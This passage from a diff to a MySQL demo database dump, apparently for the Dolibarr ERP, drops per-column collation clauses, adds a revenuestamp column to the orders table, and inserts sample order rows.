utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, PRIMARY KEY (`fk_categorie`,`fk_actioncomm`), KEY `idx_categorie_actioncomm_fk_categorie` (`fk_categorie`), KEY `idx_categorie_actioncomm_fk_actioncomm` (`fk_actioncomm`), @@ -4025,7 +3241,7 @@ DROP TABLE IF EXISTS `llx_categorie_contact`; CREATE TABLE `llx_categorie_contact` ( `fk_categorie` int(11) NOT NULL, `fk_socpeople` int(11) NOT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, PRIMARY KEY (`fk_categorie`,`fk_socpeople`), KEY `idx_categorie_contact_fk_categorie` (`fk_categorie`), KEY `idx_categorie_contact_fk_socpeople` (`fk_socpeople`), @@ -4054,7 +3270,7 @@ DROP TABLE IF EXISTS `llx_categorie_fournisseur`; CREATE TABLE `llx_categorie_fournisseur` ( `fk_categorie` int(11) NOT NULL, `fk_soc` int(11) NOT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, PRIMARY KEY (`fk_categorie`,`fk_soc`), KEY `idx_categorie_fournisseur_fk_categorie` (`fk_categorie`), KEY `idx_categorie_fournisseur_fk_societe` (`fk_soc`), @@ -4083,7 +3299,7 @@ DROP TABLE IF EXISTS `llx_categorie_knowledgemanagement`; CREATE TABLE `llx_categorie_knowledgemanagement` ( `fk_categorie` int(11) NOT NULL, `fk_knowledgemanagement` int(11) NOT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, PRIMARY KEY (`fk_categorie`,`fk_knowledgemanagement`), KEY `idx_categorie_knowledgemanagement_fk_categorie` (`fk_categorie`), KEY `idx_categorie_knowledgemanagement_fk_knowledgemanagement` (`fk_knowledgemanagement`), @@ -4111,9 +3327,9 @@ DROP TABLE IF EXISTS `llx_categorie_lang`; CREATE TABLE `llx_categorie_lang` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `fk_category` int(11) NOT NULL DEFAULT 0, - `lang` varchar(5) COLLATE utf8mb3_unicode_ci NOT NULL DEFAULT '0', - `label` varchar(255) COLLATE utf8mb3_unicode_ci NOT NULL, - `description` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `lang` varchar(5) NOT NULL DEFAULT '0', + `label` varchar(255) NOT NULL, + `description` text DEFAULT NULL, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_category_lang` (`fk_category`,`lang`), CONSTRAINT `fk_category_lang_fk_category` FOREIGN KEY (`fk_category`) REFERENCES `llx_categorie` (`rowid`) @@ -4167,7 +3383,7 @@ DROP TABLE IF EXISTS `llx_categorie_product`; CREATE TABLE `llx_categorie_product` ( `fk_categorie` int(11) NOT NULL, `fk_product` int(11) NOT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, PRIMARY KEY (`fk_categorie`,`fk_product`), KEY `idx_categorie_product_fk_categorie` (`fk_categorie`), KEY `idx_categorie_product_fk_product` (`fk_product`), @@ -4196,7 +3412,7 @@ DROP TABLE IF EXISTS `llx_categorie_project`; CREATE TABLE `llx_categorie_project` ( `fk_categorie` int(11) NOT NULL, `fk_project` int(11) NOT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, PRIMARY KEY (`fk_categorie`,`fk_project`), KEY `idx_categorie_project_fk_categorie` (`fk_categorie`), KEY `idx_categorie_project_fk_project` (`fk_project`), @@ -4226,7 +3442,7 @@ DROP TABLE IF EXISTS `llx_categorie_societe`; CREATE TABLE `llx_categorie_societe` ( `fk_categorie` int(11) NOT NULL, `fk_soc` int(11) NOT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, PRIMARY KEY (`fk_categorie`,`fk_soc`), KEY `idx_categorie_societe_fk_categorie` (`fk_categorie`), KEY `idx_categorie_societe_fk_societe` (`fk_soc`), @@ -4255,7 +3471,7 @@ DROP TABLE IF EXISTS `llx_categorie_ticket`; CREATE TABLE `llx_categorie_ticket` ( `fk_categorie` int(11) NOT NULL, `fk_ticket` int(11) NOT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, PRIMARY KEY (`fk_categorie`,`fk_ticket`), KEY `idx_categorie_ticket_fk_categorie` (`fk_categorie`), KEY `idx_categorie_ticket_fk_ticket` (`fk_ticket`), @@ -4283,7 +3499,7 @@ DROP TABLE IF EXISTS `llx_categorie_user`; CREATE TABLE `llx_categorie_user` ( `fk_categorie` int(11) NOT NULL, `fk_user` int(11) NOT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, PRIMARY KEY (`fk_categorie`,`fk_user`), KEY `idx_categorie_user_fk_categorie` (`fk_categorie`), KEY `idx_categorie_user_fk_user` (`fk_user`), @@ -4311,7 +3527,7 @@ DROP TABLE IF EXISTS `llx_categorie_warehouse`; CREATE TABLE `llx_categorie_warehouse` ( `fk_categorie` int(11) NOT NULL, `fk_warehouse` int(11) NOT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, PRIMARY KEY (`fk_categorie`,`fk_warehouse`), KEY `idx_categorie_warehouse_fk_categorie` (`fk_categorie`), KEY `idx_categorie_warehouse_fk_warehouse` (`fk_warehouse`), @@ -4340,7 +3556,7 @@ DROP TABLE IF EXISTS `llx_categorie_website_page`; CREATE TABLE `llx_categorie_website_page` ( `fk_categorie` int(11) NOT NULL, `fk_website_page` int(11) NOT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, PRIMARY KEY (`fk_categorie`,`fk_website_page`), KEY `idx_categorie_website_page_fk_categorie` (`fk_categorie`), KEY `idx_categorie_website_page_fk_website_page` (`fk_website_page`), @@ -4371,7 +3587,7 @@ CREATE TABLE `llx_categories_extrafields` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_object` int(11) NOT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, PRIMARY KEY (`rowid`), KEY `idx_categories_extrafields` (`fk_object`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; @@ -4396,7 +3612,7 @@ DROP TABLE IF EXISTS `llx_chargesociales`; CREATE TABLE `llx_chargesociales` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `date_ech` datetime NOT NULL, - `libelle` varchar(80) COLLATE utf8mb3_unicode_ci NOT NULL, + `libelle` varchar(80) NOT NULL, `entity` int(11) NOT NULL DEFAULT 1, `fk_type` int(11) NOT NULL, `fk_account` int(11) DEFAULT NULL, @@ -4407,15 +3623,15 @@ CREATE TABLE `llx_chargesociales` ( `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `date_creation` datetime DEFAULT NULL, `date_valid` datetime DEFAULT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, `fk_user_author` int(11) DEFAULT NULL, `fk_user_modif` int(11) DEFAULT NULL, `fk_user_valid` int(11) DEFAULT NULL, - `ref` varchar(16) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `ref` varchar(16) DEFAULT NULL, `fk_projet` int(11) DEFAULT NULL, `fk_user` int(11) DEFAULT NULL, - `note_private` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `note_public` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `note_private` text DEFAULT NULL, + `note_public` text DEFAULT NULL, PRIMARY KEY (`rowid`) ) ENGINE=InnoDB AUTO_INCREMENT=7 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; @@ -4442,11 +3658,11 @@ CREATE TABLE `llx_commande` ( `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_soc` int(11) NOT NULL, `fk_projet` int(11) DEFAULT NULL, - `ref` varchar(30) COLLATE utf8mb3_unicode_ci NOT NULL, + `ref` varchar(30) NOT NULL, `entity` int(11) NOT NULL DEFAULT 1, - `ref_ext` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `ref_int` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `ref_client` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `ref_ext` varchar(255) DEFAULT NULL, + `ref_int` varchar(255) DEFAULT NULL, + `ref_client` varchar(255) DEFAULT NULL, `date_creation` datetime DEFAULT NULL, `date_valid` datetime DEFAULT NULL, `date_cloture` datetime DEFAULT NULL, @@ -4464,16 +3680,17 @@ CREATE TABLE `llx_commande` ( `total_tva` double(24,8) DEFAULT 0.00000000, `localtax1` double(24,8) DEFAULT 0.00000000, `localtax2` double(24,8) DEFAULT 0.00000000, + `revenuestamp` double(24,8) DEFAULT 0.00000000, `total_ht` double(24,8) DEFAULT 0.00000000, `total_ttc` double(24,8) DEFAULT 0.00000000, - `note_private` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `note_public` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `model_pdf` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `note_private` text DEFAULT NULL, + `note_public` text DEFAULT NULL, + `model_pdf` varchar(255) DEFAULT NULL, `facture` tinyint(4) DEFAULT 0, `fk_account` int(11) DEFAULT NULL, - `fk_currency` varchar(3) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `fk_currency` varchar(3) DEFAULT NULL, `fk_cond_reglement` int(11) DEFAULT NULL, - `deposit_percent` varchar(63) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `deposit_percent` varchar(63) DEFAULT NULL, `fk_mode_reglement` int(11) DEFAULT NULL, `date_livraison` datetime DEFAULT NULL, `fk_shipping_method` int(11) DEFAULT NULL, @@ -4481,19 +3698,19 @@ CREATE TABLE `llx_commande` ( `fk_availability` int(11) DEFAULT NULL, `fk_input_reason` int(11) DEFAULT NULL, `fk_delivery_address` int(11) DEFAULT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `extraparams` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, + `extraparams` varchar(255) DEFAULT NULL, `fk_incoterms` int(11) DEFAULT NULL, - `location_incoterms` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `location_incoterms` varchar(255) DEFAULT NULL, `fk_multicurrency` int(11) DEFAULT NULL, - `multicurrency_code` varchar(3) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `multicurrency_code` varchar(3) DEFAULT NULL, `multicurrency_tx` double(24,8) DEFAULT 1.00000000, `multicurrency_total_ht` double(24,8) DEFAULT 0.00000000, `multicurrency_total_tva` double(24,8) DEFAULT 0.00000000, `multicurrency_total_ttc` double(24,8) DEFAULT 0.00000000, - `last_main_doc` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `module_source` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `pos_source` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `last_main_doc` varchar(255) DEFAULT NULL, + `module_source` varchar(32) DEFAULT NULL, + `pos_source` varchar(32) DEFAULT NULL, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_commande_ref` (`ref`,`entity`), KEY `idx_commande_fk_soc` (`fk_soc`), @@ -4508,7 +3725,7 @@ CREATE TABLE `llx_commande` ( CONSTRAINT `fk_commande_fk_user_author` FOREIGN KEY (`fk_user_author`) REFERENCES `llx_user` (`rowid`), CONSTRAINT `fk_commande_fk_user_cloture` FOREIGN KEY (`fk_user_cloture`) REFERENCES `llx_user` (`rowid`), CONSTRAINT `fk_commande_fk_user_valid` FOREIGN KEY (`fk_user_valid`) REFERENCES `llx_user` (`rowid`) -) ENGINE=InnoDB AUTO_INCREMENT=100 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=101 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -4517,7 +3734,7 @@ CREATE TABLE `llx_commande` ( LOCK TABLES `llx_commande` WRITE; /*!40000 ALTER TABLE `llx_commande` DISABLE KEYS */; -INSERT INTO `llx_commande` VALUES (1,'2022-02-07 13:37:54',1,NULL,'CO1107-0002',1,NULL,NULL,'','2013-07-20 15:23:12','2021-08-08 13:59:09',NULL,'2021-07-20',1,NULL,1,NULL,NULL,1,0.00000000,0,NULL,0,0.00000000,0.00000000,0.00000000,10.00000000,10.00000000,'','','einstein',0,NULL,NULL,1,NULL,1,NULL,NULL,NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1.00000000,0.00000000,0.00000000,0.00000000,NULL,NULL,NULL),(2,'2022-02-07 13:37:54',1,NULL,'CO1107-0003',1,NULL,NULL,'','2013-07-20 23:20:12','2021-02-12 17:06:51',NULL,'2021-07-21',1,NULL,1,NULL,NULL,1,0.00000000,0,NULL,0,0.00000000,0.00000000,0.00000000,10.00000000,10.00000000,'','','einstein',0,NULL,NULL,0,NULL,NULL,NULL,NULL,NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1.00000000,0.00000000,0.00000000,0.00000000,NULL,NULL,NULL),(3,'2022-02-07 13:37:54',1,NULL,'CO1107-0004',1,NULL,NULL,'','2013-07-20 23:22:53','2021-02-17 18:27:56',NULL,'2021-07-21',1,NULL,1,NULL,NULL,1,0.00000000,0,NULL,0,0.00000000,0.00000000,0.00000000,30.00000000,30.00000000,'','','einstein',0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1.00000000,0.00000000,0.00000000,0.00000000,NULL,NULL,NULL),(5,'2022-02-07 13:37:54',1,NULL,'CO1108-0001',1,NULL,NULL,'','2013-08-08 03:04:11','2021-08-08 03:04:21',NULL,'2021-08-08',1,NULL,1,NULL,NULL,2,0.00000000,0,NULL,0,0.00000000,0.00000000,0.00000000,10.00000000,10.00000000,'','','einstein',0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1.00000000,0.00000000,0.00000000,0.00000000,NULL,NULL,NULL),(6,'2022-07-04 01:11:35',19,NULL,'(PROV6)',1,NULL,NULL,'','2015-02-17 16:22:14',NULL,NULL,'2022-02-17',1,NULL,NULL,NULL,NULL,0,0.00000000,0,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,'','','einstein',0,NULL,NULL,1,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1.00000000,0.00000000,0.00000000,0.00000000,'commande/(PROV6)/(PROV6).pdf',NULL,NULL),(17,'2022-07-04 01:11:35',4,NULL,'CO7001-0005',1,NULL,NULL,NULL,'2017-02-15 23:50:34','2021-02-15 23:50:34',NULL,'2022-05-13',12,NULL,12,NULL,1,1,0.00000000,0,NULL,0,0.00000000,0.00000000,0.00000000,509.00000000,509.00000000,'','','',0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,'',0,'EUR',1.00000000,509.00000000,0.00000000,509.00000000,NULL,NULL,NULL),(18,'2022-02-07 13:37:54',7,4,'CO7001-0006',1,NULL,NULL,NULL,'2017-02-15 23:51:23','2021-02-15 23:51:23',NULL,'2022-02-03',12,NULL,12,NULL,1,1,0.00000000,0,NULL,0,0.00000000,0.00000000,0.00000000,900.00000000,900.00000000,'','','',0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,'',0,'EUR',1.00000000,900.00000000,0.00000000,900.00000000,NULL,NULL,NULL),(20,'2022-07-04 01:11:35',4,NULL,'CO7001-0007',1,NULL,NULL,NULL,'2017-02-15 23:55:52','2021-02-15 23:55:52',NULL,'2022-04-03',12,NULL,12,NULL,1,1,0.00000000,0,NULL,0,0.00000000,0.00000000,0.00000000,330.00000000,330.00000000,'','','',0,NULL,NULL,2,NULL,NULL,NULL,1,NULL,NULL,NULL,NULL,NULL,NULL,0,'',0,'EUR',1.00000000,330.00000000,0.00000000,330.00000000,NULL,NULL,NULL),(29,'2022-07-04 01:11:35',4,NULL,'CO7001-0008',1,NULL,NULL,NULL,'2017-02-16 00:03:44','2022-02-16 00:03:44',NULL,'2022-02-12',12,NULL,12,NULL,1,1,0.00000000,0,NULL,0,0.00000000,0.00000000,0.00000000,457.00000000,457.00000000,'','','',0,NULL,NULL,1,NULL,NULL,NULL,2,NULL,NULL,NULL,NULL,NULL,NULL,0,'',0,'EUR',1.00000000,457.00000000,0.00000000,457.00000000,NULL,NULL,NULL),(34,'2022-02-07 13:37:54',11,NULL,'CO7001-0009',1,NULL,NULL,NULL,'2017-02-16 00:05:01','2021-02-16 00:05:01',NULL,'2022-01-03',12,NULL,12,NULL,1,1,0.00000000,0,NULL,0,0.00000000,0.00000000,0.00000000,124.00000000,124.00000000,'','','',0,NULL,NULL,2,NULL,NULL,NULL,2,NULL,NULL,NULL,NULL,NULL,NULL,0,'',0,'EUR',1.00000000,124.00000000,0.00000000,124.00000000,NULL,NULL,NULL),(38,'2022-02-07 13:37:54',3,NULL,'CO7001-0010',1,NULL,NULL,NULL,'2017-02-16 00:05:01','2021-02-16 00:05:01',NULL,'2022-02-03',12,NULL,12,NULL,1,1,0.00000000,0,NULL,0,0.00000000,0.00000000,0.00000000,200.00000000,200.00000000,'','','',0,NULL,NULL,1,NULL,NULL,NULL,2,NULL,1,NULL,NULL,NULL,NULL,0,'',0,'EUR',1.00000000,200.00000000,0.00000000,200.00000000,NULL,NULL,NULL),(40,'2022-02-07 13:37:54',11,NULL,'CO7001-0011',1,NULL,NULL,NULL,'2017-02-16 00:05:10','2021-02-16 00:05:11',NULL,'2022-01-23',12,NULL,12,NULL,1,1,0.00000000,0,NULL,0,0.00000000,0.00000000,0.00000000,1210.00000000,1210.00000000,'','','',0,NULL,NULL,1,NULL,NULL,NULL,1,NULL,NULL,NULL,NULL,NULL,NULL,0,'',0,'EUR',1.00000000,1210.00000000,0.00000000,1210.00000000,NULL,NULL,NULL),(43,'2022-07-04 01:11:35',10,NULL,'CO7001-0012',1,NULL,NULL,NULL,'2017-02-16 00:05:11','2022-02-16 00:05:11',NULL,'2022-02-13',12,NULL,12,NULL,1,1,0.00000000,0,NULL,0,0.00000000,0.00000000,0.00000000,478.00000000,478.00000000,'','','',0,NULL,NULL,2,NULL,NULL,NULL,2,NULL,NULL,NULL,NULL,NULL,NULL,0,'',0,'EUR',1.00000000,478.00000000,0.00000000,478.00000000,NULL,NULL,NULL),(47,'2022-02-07 13:37:54',1,NULL,'CO7001-0013',1,NULL,NULL,NULL,'2017-02-16 00:05:11','2021-02-16 00:05:11',NULL,'2021-11-13',12,NULL,12,NULL,1,1,0.00000000,0,NULL,0,0.00000000,0.00000000,0.00000000,55.00000000,55.00000000,'','','',0,NULL,NULL,2,NULL,NULL,NULL,1,NULL,1,NULL,NULL,NULL,NULL,0,'',0,'EUR',1.00000000,55.00000000,0.00000000,55.00000000,NULL,NULL,NULL),(48,'2022-02-07 13:37:54',4,NULL,'CO7001-0014',1,NULL,NULL,NULL,'2017-02-16 00:05:11','2021-02-16 00:05:11',NULL,'2021-07-30',12,NULL,12,NULL,1,1,0.00000000,0,NULL,0,0.00000000,0.00000000,0.00000000,540.00000000,540.00000000,'','','',0,NULL,NULL,NULL,NULL,NULL,NULL,1,NULL,NULL,NULL,NULL,NULL,NULL,0,'',0,'EUR',1.00000000,540.00000000,0.00000000,540.00000000,NULL,NULL,NULL),(50,'2022-02-07 13:37:54',1,NULL,'CO7001-0015',1,NULL,NULL,NULL,'2017-02-16 00:05:26','2022-02-16 00:05:26',NULL,'2021-12-12',12,NULL,12,NULL,1,1,0.00000000,0,NULL,0,0.00000000,0.00000000,0.00000000,118.00000000,118.00000000,'','','',0,NULL,NULL,1,NULL,NULL,NULL,1,NULL,1,NULL,NULL,NULL,NULL,0,'',0,'EUR',1.00000000,118.00000000,0.00000000,118.00000000,NULL,NULL,NULL),(54,'2022-07-04 01:11:35',12,NULL,'CO7001-0016',1,NULL,NULL,NULL,'2017-02-16 00:05:26','2021-02-16 00:05:26','2021-02-16 03:05:56','2022-06-03',12,NULL,12,12,1,3,0.00000000,0,NULL,0,0.00000000,0.00000000,0.00000000,220.00000000,220.00000000,'','','',1,NULL,NULL,NULL,NULL,NULL,NULL,1,NULL,1,NULL,NULL,NULL,NULL,0,'',0,'EUR',1.00000000,220.00000000,0.00000000,220.00000000,NULL,NULL,NULL),(58,'2022-02-07 13:37:54',1,NULL,'CO7001-0017',1,NULL,NULL,NULL,'2017-02-16 00:05:26','2021-02-16 00:05:26',NULL,'2021-07-23',12,NULL,12,NULL,1,1,0.00000000,0,NULL,0,0.00000000,0.00000000,0.00000000,436.00000000,436.00000000,'','','',0,NULL,NULL,1,NULL,NULL,NULL,2,NULL,NULL,NULL,NULL,NULL,NULL,0,'',0,'EUR',1.00000000,436.00000000,0.00000000,436.00000000,NULL,NULL,NULL),(62,'2022-07-04 01:11:35',19,NULL,'CO7001-0018',1,NULL,NULL,NULL,'2017-02-16 00:05:35','2021-02-16 00:05:35','2021-12-20 20:48:55','2022-02-23',12,NULL,12,12,1,3,0.00000000,0,NULL,0,0.00000000,0.00000000,0.00000000,410.00000000,410.00000000,'','','',0,NULL,NULL,2,NULL,NULL,NULL,1,NULL,1,NULL,NULL,NULL,NULL,0,'',0,'EUR',1.00000000,410.00000000,0.00000000,410.00000000,NULL,NULL,NULL),(68,'2022-07-04 01:11:35',3,NULL,'CO7001-0019',1,NULL,NULL,NULL,'2017-02-16 00:05:35','2021-02-16 00:05:35',NULL,'2022-05-19',12,NULL,12,NULL,1,1,0.00000000,0,NULL,0,0.00000000,0.00000000,0.00000000,45.00000000,45.00000000,'','','',0,NULL,NULL,NULL,NULL,NULL,NULL,1,NULL,1,NULL,NULL,NULL,NULL,0,'',0,'EUR',1.00000000,45.00000000,0.00000000,45.00000000,NULL,NULL,NULL),(72,'2022-02-07 13:37:54',6,NULL,'CO7001-0020',1,NULL,NULL,NULL,'2017-02-16 00:05:36','2021-02-16 00:05:36','2022-01-16 02:42:56','2021-11-13',12,NULL,12,12,1,3,0.00000000,0,NULL,0,0.00000000,0.00000000,0.00000000,610.00000000,610.00000000,'','','',1,NULL,NULL,NULL,NULL,NULL,NULL,2,NULL,1,NULL,NULL,NULL,NULL,0,'',0,'EUR',1.00000000,610.00000000,0.00000000,610.00000000,NULL,NULL,NULL),(75,'2022-07-04 01:11:35',4,NULL,'CO7001-0021',1,NULL,NULL,NULL,'2017-02-16 00:05:37','2021-02-16 04:14:20',NULL,'2022-02-13',12,NULL,12,NULL,1,1,0.00000000,0,NULL,0,25.00000000,49.88000000,0.00000000,1200.00000000,1274.88000000,'','','',0,NULL,NULL,2,NULL,NULL,NULL,1,NULL,NULL,NULL,NULL,NULL,NULL,0,'',0,'EUR',1.00000000,1200.00000000,25.00000000,1274.88000000,NULL,NULL,NULL),(78,'2022-02-07 13:37:54',12,NULL,'CO7001-0022',1,NULL,NULL,NULL,'2017-02-16 00:05:37','2021-02-16 00:05:37',NULL,'2021-10-03',12,NULL,12,NULL,1,1,0.00000000,0,NULL,0,0.00000000,0.00000000,0.00000000,928.00000000,928.00000000,'','','',0,NULL,NULL,2,NULL,NULL,NULL,2,NULL,NULL,NULL,NULL,NULL,NULL,0,'',0,'EUR',1.00000000,928.00000000,0.00000000,928.00000000,NULL,NULL,NULL),(81,'2022-07-04 01:11:35',11,NULL,'CO7001-0023',1,NULL,NULL,NULL,'2017-02-16 00:05:38','2022-02-16 00:05:38',NULL,'2022-07-03',12,NULL,12,NULL,1,1,0.00000000,0,NULL,0,0.00000000,0.00000000,0.00000000,725.00000000,725.00000000,'','','',0,NULL,NULL,2,NULL,NULL,NULL,1,NULL,1,NULL,NULL,NULL,NULL,0,'',0,'EUR',1.00000000,725.00000000,0.00000000,725.00000000,NULL,NULL,NULL),(83,'2022-07-04 01:11:35',26,NULL,'CO7001-0024',1,NULL,NULL,NULL,'2017-02-16 00:05:38','2021-02-16 00:05:38',NULL,'2022-04-03',12,NULL,12,NULL,1,-1,0.00000000,0,NULL,0,0.00000000,0.00000000,0.00000000,105.00000000,105.00000000,'','','',0,NULL,NULL,1,NULL,NULL,NULL,1,NULL,1,NULL,NULL,NULL,NULL,0,'',0,'EUR',1.00000000,105.00000000,0.00000000,105.00000000,NULL,NULL,NULL),(84,'2022-07-04 01:11:35',2,NULL,'CO7001-0025',1,NULL,NULL,NULL,'2017-02-16 00:05:38','2022-02-16 00:05:38',NULL,'2022-06-19',12,NULL,12,NULL,1,1,0.00000000,0,NULL,0,0.00000000,0.00000000,0.00000000,510.00000000,510.00000000,'','','',0,NULL,NULL,1,NULL,NULL,NULL,2,NULL,NULL,NULL,NULL,NULL,NULL,0,'',0,'EUR',1.00000000,510.00000000,0.00000000,510.00000000,NULL,NULL,NULL),(85,'2022-02-07 13:37:54',1,NULL,'CO7001-0026',1,NULL,NULL,NULL,'2017-02-16 00:05:38','2021-02-16 00:05:38',NULL,'2022-01-03',12,NULL,12,NULL,1,1,0.00000000,0,NULL,0,0.00000000,0.00000000,0.00000000,47.00000000,47.00000000,'','','',0,NULL,NULL,1,NULL,NULL,NULL,1,NULL,NULL,NULL,NULL,NULL,NULL,0,'',0,'EUR',1.00000000,47.00000000,0.00000000,47.00000000,NULL,NULL,NULL),(88,'2022-02-07 13:37:54',10,NULL,'CO7001-0027',1,NULL,NULL,NULL,'2017-02-16 00:05:38','2021-12-20 20:42:42',NULL,'2021-12-23',12,12,12,NULL,1,1,0.00000000,0,NULL,0,0.00000000,0.00000000,0.00000000,50.00000000,50.00000000,'This is a private note','This is a public note','',0,NULL,NULL,1,NULL,NULL,NULL,1,NULL,NULL,NULL,NULL,NULL,NULL,0,'',0,'EUR',1.00000000,50.00000000,0.00000000,50.00000000,'commande/CO7001-0027/CO7001-0027.pdf',NULL,NULL),(90,'2022-07-04 01:11:35',19,NULL,'(PROV90)',1,NULL,NULL,NULL,'2017-02-16 04:46:31',NULL,NULL,'2022-02-16',12,NULL,NULL,NULL,NULL,0,0.00000000,0,NULL,0,0.00000000,0.00000000,0.00000000,440.00000000,440.00000000,'','','',0,NULL,NULL,3,NULL,3,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,'',0,'EUR',1.00000000,440.00000000,0.00000000,440.00000000,NULL,NULL,NULL),(91,'2022-07-04 01:11:35',1,NULL,'(PROV91)',1,NULL,NULL,NULL,'2017-02-16 04:46:37',NULL,NULL,'2022-02-16',12,NULL,NULL,NULL,NULL,0,0.00000000,0,NULL,0,0.00000000,0.00000000,0.00000000,1000.00000000,1000.00000000,'','','',0,NULL,NULL,3,NULL,3,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,'',0,'EUR',1.00000000,1000.00000000,0.00000000,1000.00000000,NULL,NULL,NULL),(92,'2022-07-04 01:11:35',3,NULL,'(PROV92)',1,NULL,NULL,NULL,'2017-02-16 04:47:25',NULL,NULL,'2022-02-16',12,NULL,NULL,NULL,NULL,0,0.00000000,0,NULL,0,0.00000000,0.00000000,0.00000000,1018.00000000,1018.00000000,'','','',0,NULL,NULL,3,NULL,3,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,'',0,'EUR',1.00000000,1018.00000000,0.00000000,1018.00000000,NULL,NULL,NULL),(93,'2022-02-07 13:37:54',10,NULL,'(PROV93)',1,NULL,NULL,NULL,'2019-09-27 19:32:53',NULL,NULL,'2021-09-27',12,NULL,NULL,NULL,NULL,0,NULL,0,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,'','','einstein',0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,'',1,'EUR',1.00000000,0.00000000,0.00000000,0.00000000,'commande/(PROV93)/(PROV93).pdf',NULL,NULL),(94,'2022-02-07 13:37:54',1,NULL,'(PROV94)',1,NULL,NULL,NULL,'2019-12-20 20:49:54',NULL,NULL,'2021-12-20',12,NULL,NULL,NULL,NULL,0,NULL,0,NULL,0,0.00000000,0.00000000,0.00000000,1000.00000000,1000.00000000,'','','',0,NULL,NULL,3,NULL,3,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,'',0,'EUR',1.00000000,1000.00000000,0.00000000,1000.00000000,NULL,NULL,NULL),(95,'2022-02-07 13:37:54',1,NULL,'(PROV95)',1,NULL,NULL,NULL,'2019-12-20 